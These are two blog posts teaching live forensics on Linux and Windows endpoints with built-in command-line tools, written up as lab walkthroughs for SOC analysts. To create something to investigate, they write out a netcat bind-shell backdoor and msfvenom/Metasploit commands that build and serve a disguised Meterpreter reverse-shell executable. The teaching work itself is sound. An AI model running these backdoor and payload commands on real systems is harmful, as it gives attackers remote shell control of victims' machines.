Tag: command line

Endpoint Live Forensics from the Command Line on Linux

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools. If you wish to do the same on a Windows machine, I have got you covered: Endpoint Live Forensics from the Command Line on Windows. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

In order to understand the following steps, we need to know that everything on Linux is a file, even processes. Today, we will look into /proc, which is a directory that contains a folder for each running process. Each process has its own directory with virtual files within. Spoiler alert: We are going to analyze one of those files.

Create a backdoor and connect to it

Let’s start by setting up a malicious process on the Linux system. Firstly, we create a backdoor with netcat from a terminal tab and connect back to it from a second tab.

Terminal tab 1:

  • mknod backpipe p
  • /bin/bash 0<backpipe | nc -l 2222 1>backpipe

The first command creates a file of type device pipe called backpipe, whereas the second one starts a netcat listener on port 2222 that forwards all input through the backpipe and then into a bash session. It then takes the output of the bash session and puts it back into the netcat listener. Wait what? At first, I couldn’t visualize what this command did – yes, vision is strong with this one, so I played with it. The screenshot below visualizes how this backdoor works.

The unintended use of the backdoor killed it, but we can now see its inner working.
My input, i.e., the command whoami, is rerouted to the input of bash which replies root and kills the listener.

Terminal tab 2:

  • nc 127.0.0.1 2222

In real life, you would use the IP address of the target machine instead of 127.0.0.1. This works in this situation, because the attacker and the victim machines are one and the same.

This is the intended use of the backdoor on the target (terminal tab 1). From a second tab, we connect to it. In a real attack, this second tab will be on the threat actor’s computer and will enable them to navigate and modify the target system.

Run analysis from the command line with default tools

Now everything is set up for the analysis. We open a third terminal tab, we switch to root, and list all the open connections with lsof -i -P1.

We list the open connections with lsof -i -P

This list shows two processes. PID 157 is the process running our backdoor (user: root), whereas PID 158 is the TCP connection to it, that is, the process launched from the second tab we opened (user: adhd). In a real world situation we would only the outbound connection from port 2222, because the inverse connection would be on the attacker’s machine. Next, we investigate PID 157 further by running lsof -p 157.

We investigate the possibly malicious PID 157 further.

This command lists all open files associated with this process. We can see that there is a named pipe2 called backpipe in the root folder and netcat is running from the bin directory. This is the first indication that netcat is currently running on the system. We can now go a step further and list the command that initialized these processes by running ps aux3.

List the commands that started the processes. If you look closely, you can see that I opened two terminal tabs (pts/2 where I started the listener and pts/1 where I connected back to the listener) and, after a break, opened a third one from which I’m running the analysis now.

The output of this command shows that there is a backdoor running on port 2222. From here, we take the last step and analyze the executable running process 157. We do this with the tool strings4 which confirms our suspicion that netcat was running within PID 157.

  • cd /proc/157
  • strings ./exe
In the output of strings run on exe, we see that netcat is definitely running on PID 157.

All in all, we were able to detect a fishy connection, find the PID behind it, list the command that invoked the corresponding process and analyze its executable using Linux built-in tools only.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

Endpoint Live Forensics from the Command Line on Windows

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools. We will think of a compromised machine as a big haystack. In order to find out information about the attack, we will start with network connections and work backwards from there. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

The methods that I will present next will work in the majority of situations. However, there are cases where these tools won’t detect malicious activity. This is the case when the attacker uses a protocol that is not connection-oriented, like UDP1, or when the threat actor creates malware that has the capability to hide from our scans.

Detect a new share on an endpoint

Threat actors usually set up share drives on an infected endpoint. They do this because they don’t pull data directly from e.g., a SQL server. Instead they first copy files from the server to the infected endpoint, and then exfiltrate those files from there.

This section deals with the command net view which detects shares2 on a computer. This tool gives the SOC analyst the capability of detecting an attack by listing shares. At this point, it is important to notice that companies usually have servers that work as file shares. Thus, we do not expect to see share drives on an endpoint.

This is the result delivered by net view when the machine under scrutiny has no shares.

In order to demonstrate how this command works, we will first create a share on Windows 10.

  • Open File Explorer > Go to “C:\” > Create folder “Evil-Share”
  • Right click on “Evil-Share” > Properties > Sharing tab > Share > From dropdown, choose Everyone and click Add > Change Permission Level to Read/Write > Share (You might have to turn on File Sharing) > Done > Close

Now “Evil Share” is visible when running net view.

Evil-Share is listed as a share on the local machine.

Reconstruct the attack chain

Incidents are not isolated systems to be reviewed. Instead they are interactions between different machines. For this reason, it is important to track the communication between different machines on a network.

The command net session lists the inbound connections of a machine3. If the attacker were to pull data from an SQL server on our network and we were to run net session on that server, we would be able to see the communication between that server and the compromised endpoint.

This is the result of net session after running this command on a Windows Server 2012 R2 machine. Here we can see that computer \\BWESTON has a session open with Server 2012.

Identify which process started the malicious executable

In this section, we will learn how to track down the name of the process that started the malicious executable on a Windows endpoint. In order to do this we will use netstat, a tool that displays protocol statistics, and current TCP and UDP connections.

First, we create the malicious file and serve it from a machine running Kali. We create the payload for a reverse TCP shell with msfvenom and save it in the TrustMe.exe. We then serve this executable via a Python HTTP Server on port 8000. In parallel, we also start a reverse TCP handler.

  • msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR KALI IPv4> lport=4444 -f exe -o /tmp/TrustMe.exe
  • cd /tmp
  • python -m SimpleHTTPServer 8000&
  • Hit Enter
  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost <YOUR KALI IPv4>
  • run

On Windows, open Edge and go to http://<KALI IPv4>:8000 and run TrustMe.exe from the browser without saving it. If you get a security warning, click Run. If you look at your Kali terminal tab, you will see that we now have a Meterpreter session.

The malicious executable is runnable on our Windows machine.

In the next steps, we will find out which process launched TrustMe.exe using the command line. In this case, the answer is obvious as we started the executable, but the technique remains valuable nevertheless.

We first run netstat -naob4. This command will let us find out whether suspect processes are running and also show the process name and ID, and the IP address of the machine they are communicating to.

There is a TCP connection established on port 4444 with a machine whose IPv4 is 172.28.254.28. Moreover, we see that PID 3132 was started by TrustMe.exe.

We can investigate further and check if 172.28.254.28 can be resolved to any known domain by our DNS.

We see that 172.28.254.28 cannot be resolved to a domain name.

The next step is to investigate process 3132 further. We can list all the modules that this process uses by running tasklist /m /fi "pid eq 3132"5. A quick online search of the DLLs displayed shows that they contain kernel functions. Unfortunately, this doesn’t confirm whether the executable is malicious.

TrustMe.exe is running four DLLs that all contain kernel functions.

We now look for the command line invocation of TrustMe.exe. The result of wmic process where processid=3132 get commandline6 shows that the executable was invoked by the Edge browser helper. Moreover, we also learn that this is a temporary file.

Get command line invocation of TrustMe.exe using WMIC.

The last remaining step is to understand the heritage of this process, that is the reaction chain that triggered it. In this case, it is quite simple. TrustMe.exe was executed by browser_broker.exe, which is a software component of Microsoft Edge.

The parent process that run TrustMe.exe is browser_broker.exe, a software component of Microsoft Edge.

Using only standard command line tools, we were able to detect a TCP connection to a suspicious IP address that was created by TrustMe.exe. Moreover, we also listed the DLLs used by this executable, its command line invocation and its parent process.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!